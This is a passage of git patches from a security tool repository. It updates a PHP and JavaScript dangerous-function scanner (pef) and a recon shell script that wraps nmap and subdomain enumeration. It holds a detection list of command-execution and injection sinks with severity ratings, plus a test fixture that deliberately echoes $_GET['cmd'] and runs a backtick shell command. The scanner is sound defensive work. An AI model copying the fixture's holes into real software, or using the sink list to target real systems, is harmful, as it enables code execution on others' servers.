source_or_sink='ALL'): @@ -230,8 +217,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou prints formatted code line """ impact_color = { - "low": "green", - "medium": "yellow", + "low": "grey", + "medium": "green", "high": "yellow", "critical": "red" } @@ -325,7 +312,7 @@ def print_summary(self, total_found: int) -> None: """ print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") - print(f"{beautyConsole.getColor('grey')}Level: {beautyConsole.getColor('green')}LOW,{beautyConsole.getColor('yellow')}MEDIUM,HIGH,{beautyConsole.getColor('red')}CRITICAL{beautyConsole.getColor('grey')}\n") + print(f"{beautyConsole.getColor('grey')}Severity levels: {beautyConsole.getColor('grey')} LOW {beautyConsole.getColor('green')} MEDIUM {beautyConsole.getColor('yellow')} HIGH {beautyConsole.getColor('red')} CRITICAL{beautyConsole.getColor('grey')}\n") # main program diff --git a/pef/test.php b/pef/test.php index 3bb1f9e..2008858 100644 --- a/pef/test.php +++ b/pef/test.php @@ -4,6 +4,9 @@ echo $_GET['cmd']; } +$_SERVER['x']; + `ls -lA`; []; +$test = $_COOKIES['x']; From 77f45c7689f54777560d246c26274ec24a7d18af Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 28 Apr 2025 18:57:14 +0100 Subject: [PATCH 278/289] [s0mbra] update jadx version --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index cfae07f..bf782b0 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -531,7 +531,7 @@ dex_to_jar() { unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" - /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 + /Users/bl4de/hacking/tools/Java_Decompilers/jadx-1.5.1/bin/jadx-gui $1 } # runs disassembly agains binary From 79b67f3b8975fd356b3e93b6665cc8e168aeb6d5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 11 Jun 2025 13:32:58 +0100 Subject: [PATCH 279/289] [s0mbra] remove amass tmp file --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bf782b0..a779562 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -14,7 +14,6 @@ MAGENTA='\033[1;35m' CYAN='\033[36m' CLR='\033[0m' -NEWLINE='\n' # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { @@ -237,6 +236,7 @@ enum() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log + rm -f $TMPDIR/amass.tmp # httpx echo -e "\n$GREEN--> httpx$CLR\n" @@ -246,7 +246,7 @@ enum() { echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY amass+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "$GRAY httpx found \t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' From e03ccc55ac015123a2fd4985d01e1e8b826a2f76 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 23 Jun 2025 05:30:57 +0100 Subject: [PATCH 280/289] [s0mbra] refactoring --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a779562..a932357 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -38,10 +38,10 @@ full_nmap_scan() { quick_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" - nmap -p- --min-rate=1000 -T4 $1 + nmap -p- --min-rate=1000 -T4 "$1" else echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" - nmap --top-ports $2 --min-rate=1000 -T4 $1 + nmap --top-ports "$2" --min-rate=1000 -T4 "$1" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" From 7379f5103843eb6702111d42861d056242c30829 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 9 Jul 2025 18:53:39 +0100 Subject: [PATCH 281/289] [pef] add support for different languages --- pef/imports/pefdocs.py | 1364 ++++++++++++++++++++++------------------ pef/pef.py | 192 ++---- pef/test.js | 5 + 3 files changed, 800 insertions(+), 761 deletions(-) create mode 100644 pef/test.js diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index c05b10c..b48edf9 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -1,628 +1,752 @@ # Reference(S) for pef.py +# exploitable functions +exploitableFunctions = { + "javascript": [ + "eval(", + ], + "php": [ + "`", + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "arse_str(", + "parse_url(", + "preg_replace(", + "create_function(", + "passthru(", + "shell_exec(", + "popen(", + "proc_open(", + "pcntl_exec(", + "extract(", + "putenv(", + "ini_set(", + "mail(", + "unserialize(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + "show_source(", + "highlight_file(", + "fopen(", + "file(", + "fpassthru(", + "fsockopen(", + "gzopen(", + "gzread(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "odbc_exec(", + "sqlsrv_query(", + "PDO::query(", + "move_uploaded_file(", + "echo", + "print(", + "printf(", + "ldap_search(", + "sqlite_", + "sqlite_query(", + "pg_", + "pg_query(", + "mysql_", + "mysql_query(", + "mysqli::query(", + "mysqli_", + "mysqli_query(", + "apache_setenv(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "extract(", + "get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_exec(", + "php_uname(", + "phpinfo(", + "popen(", + "proc_open(", + "putenv(", + "symlink(", + "syslog(", + "curl_exec(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(", + "extractTo(", + "$_POST", + "$_GET", + "$_COOKIES", + "$_REQUEST", + "$_SERVER", + "$_SESSION", + "include($_GET", + "require($_GET", + "include_once($_GET", + "require_once($_GET", + "include($_REQUEST", + "require($_REQUEST", + "include_once($_REQUEST", + "require_once($_REQUEST", + "SELECT.*FROM", + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" + ] +} + # doc dipslayed: # 1st element - description # 2nd element - syntax # 3rd element - possible vulnerability classes exploitableFunctionsDesc = { - "`": [ - "Allows to execute system command", - "`$command`", - "RCE", - "critical", - "sink" - ], - "system()": [ - "Allows to execute system command passed as an argument", - "system ( string $command [, int &$return_var ] ) : string", - "RCE", - "critical", - "sink" - ], - "exec()": [ - "exec - Execute an external program", - "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", - "RCE", - "critical", - "sink" - ], - "call_user_func_array()": [ - "Call a callback with an array of parameters", - "call_user_func_array ( callable $callback , array $param_arr ) : mixed", - "RCE", - "high", - "sink" - ], - "parse_url()": [ - "parse_url — Parse a URL and return its components", - "parse_url(string $url, int $component = -1): mixed", - "SSRF, Filter Bypass", - "medium", - "sink" - ], - "parse_str()": [ - "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", - "parse_str ( string $encoded_string [, array &$result ] ) : void" - "Code Injection", - "high", - "sink" - ], - "eval()": [ - "Evaluate a string as PHP code", - "eval ( string $code ) : mixed", - "RCE", - "critical", - "sink" - ], - "preg_replace()": [ - "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", - "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", - "RCE (in certain conditions)", - "medium" - ], - "create_function()": [ - "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", - "create_function ( string $args , string $code ) : string", - "Code Injection, RCE", - "medium", - "sink" - ], - "passthru()": [ - "Execute an external program and display raw output", - "passthru ( string $command [, int &$return_var ] ) : void", - "RCE", - "critical", - "sink" - ], - "shell_exec()": [ - "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", - "shell_exec ( string $cmd ) : string", - "RCE", - "critical", - "sink" - ], - "popen()": [ - "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", - "popen ( string $command , string $mode ) : resource", - "Code Injection", - "critical", - "sink" - ], - "proc_open()": [ - "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", - "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", - "Code Injection", - "high", - "sink" - ], - "pcntl_exec()": [ - "Executes the program with the given arguments.", - "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", - "RCE", - "critical", - "sink" - ], - "extract()": [ - "Import variables into the current symbol table from an array", - "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", - "Code Injection", - "high", - "sink" - ], - "ini_set()": [ - "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", - "ini_set ( string $varname , string $newvalue ) : string", - "PHP Interpreter behavior change; application settings overwrite", - "low" - ], - "mail()": [ - "Sends an email.", - "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", - "Arbitrary mail sending", - "low", - "sink" - ], - "echo": [ - "Outputs all parameters. No additional newline is appended.", - "echo ( string $arg1 [, string $... ] ) : void", - "XSS, HTML Injection, Content Injection etc.", - "low" - ], - "unserialize()": [ - "unserialize() takes a single serialized variable and converts it back into a PHP value.", - "unserialize ( string $str [, array $options ] ) : mixed", - "Code Injection, RCE (in certain conditions)", - "high", - "sink" - ], - "assert()": [ - "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", - "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", - "RCE, Code Injection (in certain conditions)", - "low" - ], - "call_user_func()": [ - "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", - "call_user_func ( callable $callback [, mixed $... ] ) : mixed", - "Code Injection", - "high", - "sink" - ], - "ereg_replace()": [ - "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", - "ereg_replace ( string $pattern , string $replacement , string $string ) : string", - "Code Injection", - "low", - "sink" - ], - "eregi_replace()": [ - "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", - "eregi_replace ( string $pattern , string $replacement , string $string ) : string", - "Code Injection", - "low", - "sink" - ], - "mb_ereg_replace()": [ - "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", - "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", - "Code Injection", - "low", - "sink" - ], - "mb_eregi_replace()": [ - "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", - "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", - "Code Injection", - "low", - "sink" - ], - "virtual()": [ - "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", - "virtual ( string $filename ) : bool", - "Local File Include, Remote File Include", - "low", - "sink" - ], - "readfile()": [ - "Reads a file and writes it to the output buffer.", - "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", - "Code Injection, LFI, RFI", - "high", - "source" - ], - "file_get_contents()": [ - "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", - "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", - "Code Injection, LFI, RFI", - "high", - "source" - ], - "show_source()": [ - "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", - "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", - "Information Disclosure", - "low", - "source" - ], - "highlight_file()": [ - "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", - "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", - "Information Disclosure", - "low", - "source" - ], - "fopen()": [ - "fopen() binds a named resource, specified by filename, to a stream.", - "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", - "Code Injection, LFI, RFI", - "low", - "source" - ], - "file()": [ - "Reads an entire file into an array.", - "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", - "Code Injection, LFI, RFI", - "low", - "source" - ], - "fpassthru()": [ - "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", - "fpassthru ( resource $handle ) : int", - "Code Injection, LFI, RFI, RCE (depending on the context)", - "low", - "sink" - ], - "fsockopen()": [ - "Initiates a socket connection to the resource specified by hostname.", - "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", - "RCE (depends on context)", - "low", - "sink" - ], - "gzopen()": [ - "Opens a gzip (.gz) file for reading or writing.", - "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", - "Code Injection, LFI (depends on context)", - "low", - "sink" - ], - "gzread()": [ - "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", - "gzread ( resource $zp , int $length ) : string", - "Code Injection, LFI", - "low", - "sink" - ], - "gzfile()": [ - "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", - "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", - "Code Injection, LFI", - "low", - "sink" - ], - "gzpassthru()": [ - "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", - "gzpassthru ( resource $zp ) : int", - "Code Injection, LFI", - "low", - "sink" - ], - "readgzfile()": [ - "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", - "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", - "Code Injection, LFI, RCE", - "medium", - "sink" - ], - "mssql_query()": [ - "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", - "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", - "SQL Injection", - "high" - ], - "odbc_exec()": [ - "Sends an SQL statement to the database server.", - "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", - "SQL Injection", - "high", - "sink" - ], - "sqlsrv_query()": [ - "Prepares and executes a query", - "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", - "SQL Injection", - "medium", - "sink" - ], - "PDO::query()": [ - "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", - "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", - "SQL Injection", - "medium", - "sink" - ], - "move_uploaded_file()": [ - "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", - "move_uploaded_file ( string $filename , string $destination ) : bool", - "File Include", - "low", - "sink" - ], - "print()": [ - "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", - "print ( string $arg ) : int", - "XSS, Content/HTML Injection", - "low", - "sink" - ], - "printf()": [ - "Produces output according to format.", - "printf ( string $format [, mixed $... ] ) : int", - "XSS, Content/HTML Injection", - "low", - "sink" - ], - "ldap_search()": [ - "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", - "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", - "unknown?", - "low" - ], - "header()": [ - "Send a raw HTTP header", - "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", - "Header Injection, Open Redirect", - "low", - "sink" - ], - "sqlite_query()": [ - "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", - "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", - "SQL Injection", - "medium", - "sink" - ], - "pg_query()": [ - "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", - "pg_query ([ resource $connection ], string $query ) : resource", - "SQL Injection", - "medium", - "sink" - ], - "mysql_query()": [ - "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", - "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", - "SQL Injection", - "high", - "sink" - ], - "mysqli_query()": [ - "Performs a query against the database.", - "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", - "SQL Injection", - "medium", - "sink" - ], - "mysqli::query()": [ - "Performs a query against the database.", - "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", - "SQL Injection", - "medium", - "sink" - ], - "apache_setenv()": [ - "Sets the value of the Apache environment variable specified by variable.", - "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", - "ENV server variables overwrite", - "low", - "sink" - ], - "dl()": [ - "Loads a PHP extension at runtime", - "dl ( string $library ) : bool", - "Code Injection, RCE (in certain conditions)", - "low", - "sink" - ], - "escapeshellarg()": [ - "Escape a string to be used as a shell argument", - "escapeshellarg ( string $arg ) : string", - "", - "low" - ], - "escapeshellcmd()": [ - "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", - "escapeshellcmd ( string $command ) : string", - "", - "low" - ], - "get_cfg_var()": [ - "Gets the value of a PHP configuration option", - "get_cfg_var ( string $option ) : mixed", - "Information Disclosure", - "low" - ], - "get_current_user()": [ - "Gets the name of the owner of the current PHP script", - "get_current_user ( void ) : string", - "Information Disclosure", - "low" - ], - "getcwd()": [ - "Gets the current working directory", - "getcwd ( void ) : string", - "Information Disclosure", - "low" - ], - "getenv()": [ - " Gets the value of an environment variable", - "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", - "Information Disclosure", - "low" - ], - "php_uname()": [ - "Returns information about the operating system PHP is running on", - "php_uname ([ string $mode = \"a\" ] ) : string", - "Information Disclosure", - "low" - ], - "phpinfo()": [ - "Outputs information about PHP's configuration", - "phpinfo ([ int $what = INFO_ALL ] ) : bool", - "Information Disclosure", - "medium" - ], - "putenv()": [ - "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", - "putenv ( string $setting ) : bool", - "ENV variable create/owerwrite", - "low", - "sink" - ], - "symlink()": [ - "Creates a symbolic link to the existing target with the specified name link.", - "symlink ( string $target , string $link ) : bool", - "LFI (in certain conditions)", - "low" - ], - "syslog()": [ - "Generate a system log message", - "syslog ( int $priority , string $message ) : bool", - "Log poisoning", - "low" - ], - "curl_exec()": [ - "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", - "curl_exec ( resource $ch ) : mixed", - "SSRF", - "medium", - "sink" - ], - "__destruct()": [ - "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", - "__destruct ( void ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "high", - "sink" - ], - "__wakeup()": [ - "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", - "__wakeup ( void ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__sleep()": [ - "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__serialize()": [ - "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__unserialize()": [ - "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__call()": [ - "Triggered when invoking inaccessible methods in an object context", - "public __call ( string $name , array $arguments ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__get()": [ - "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", - "public __get ( string $name ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__set()": [ - "Is run when writing data to inaccessible (protected or private) or non-existing properties.", - "public __set ( string $name, mixed $value ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "__callStatic()": [ - "Triggered when invoking inaccessible methods in a static context.", - "public static __callStatic ( string $name , array $arguments ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium", - "sink" - ], - "filter_var()": [ - "Filters a variable with a specified filter", - "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", - "Validation bypass (in certain conditions)", - "low" - ], - "file_put_contents()": [ - "Write data to a file", - "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", - "Arbitrary file write", - "high", - "source" - ], - "extractTo(": [ - "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", - "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", - "Arbitrary file write", - "medium", - "source" - ], - "SELECT.*FROM": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "INSERT.*INTO": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "UPDATE.*": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "DELETE.*FROM": [ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium", - "source" - ], - "$_POST": [ - "$_POST reference found", - "", - "", - "critical", - "source" - ], - "$_GET": [ - "$_GET reference found", - "", - "", - "critical", - "source" - ], - "$_REQUEST": [ - "$_REQUEST reference found", - "", - "", - "critical", - "source" - ], - "$_FILES": [ - "$_FILES reference found", - "", - "", - "high", - "source" - ], - "$_ENV": [ - "$_ENV reference found", - "", - "", - "medium", - "source" - ], - "$_COOKIES": [ - "$_COOKIES reference found", - "", - "", - "high", - "source" - ], - "$_SESSION": [ - "$_SESSION reference found", - "", - "", - "medium", - "source" - ], - "$_SERVER": [ - "$_SERVER reference found", - "", - "", - "medium", - "source" - ] + "javascript": { + "eval()": [ + "The eval() function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.", + "eval(script)", + "RCE", + "critical", + "sink" + ] + }, + "php": { + "`": [ + "Allows to execute system command", + "`$command`", + "RCE", + "critical", + "sink" + ], + "system()": [ + "Allows to execute system command passed as an argument", + "system ( string $command [, int &$return_var ] ) : string", + "RCE", + "critical", + "sink" + ], + "exec()": [ + "exec - Execute an external program", + "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", + "RCE", + "critical", + "sink" + ], + "call_user_func_array()": [ + "Call a callback with an array of parameters", + "call_user_func_array ( callable $callback , array $param_arr ) : mixed", + "RCE", + "high", + "sink" + ], + "parse_url()": [ + "parse_url — Parse a URL and return its components", + "parse_url(string $url, int $component = -1): mixed", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "parse_str()": [ + "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", + "parse_str ( string $encoded_string [, array &$result ] ) : void" + "Code Injection", + "high", + "sink" + ], + "eval()": [ + "Evaluate a string as PHP code", + "eval ( string $code ) : mixed", + "RCE", + "critical", + "sink" + ], + "preg_replace()": [ + "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", + "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", + "RCE (in certain conditions)", + "medium" + ], + "create_function()": [ + "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", + "create_function ( string $args , string $code ) : string", + "Code Injection, RCE", + "medium", + "sink" + ], + "passthru()": [ + "Execute an external program and display raw output", + "passthru ( string $command [, int &$return_var ] ) : void", + "RCE", + "critical", + "sink" + ], + "shell_exec()": [ + "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", + "shell_exec ( string $cmd ) : string", + "RCE", + "critical", + "sink" + ], + "popen()": [ + "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", + "popen ( string $command , string $mode ) : resource", + "Code Injection", + "critical", + "sink" + ], + "proc_open()": [ + "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", + "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", + "Code Injection", + "high", + "sink" + ], + "pcntl_exec()": [ + "Executes the program with the given arguments.", + "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", + "RCE", + "critical", + "sink" + ], + "extract()": [ + "Import variables into the current symbol table from an array", + "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", + "Code Injection", + "high", + "sink" + ], + "ini_set()": [ + "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", + "ini_set ( string $varname , string $newvalue ) : string", + "PHP Interpreter behavior change; application settings overwrite", + "low" + ], + "mail()": [ + "Sends an email.", + "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", + "Arbitrary mail sending", + "low", + "sink" + ], + "echo": [ + "Outputs all parameters. No additional newline is appended.", + "echo ( string $arg1 [, string $... ] ) : void", + "XSS, HTML Injection, Content Injection etc.", + "low" + ], + "unserialize()": [ + "unserialize() takes a single serialized variable and converts it back into a PHP value.", + "unserialize ( string $str [, array $options ] ) : mixed", + "Code Injection, RCE (in certain conditions)", + "high", + "sink" + ], + "assert()": [ + "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", + "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", + "RCE, Code Injection (in certain conditions)", + "low" + ], + "call_user_func()": [ + "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", + "call_user_func ( callable $callback [, mixed $... ] ) : mixed", + "Code Injection", + "high", + "sink" + ], + "ereg_replace()": [ + "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", + "ereg_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "eregi_replace()": [ + "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", + "eregi_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_ereg_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_eregi_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "virtual()": [ + "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", + "virtual ( string $filename ) : bool", + "Local File Include, Remote File Include", + "low", + "sink" + ], + "readfile()": [ + "Reads a file and writes it to the output buffer.", + "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "file_get_contents()": [ + "This function is 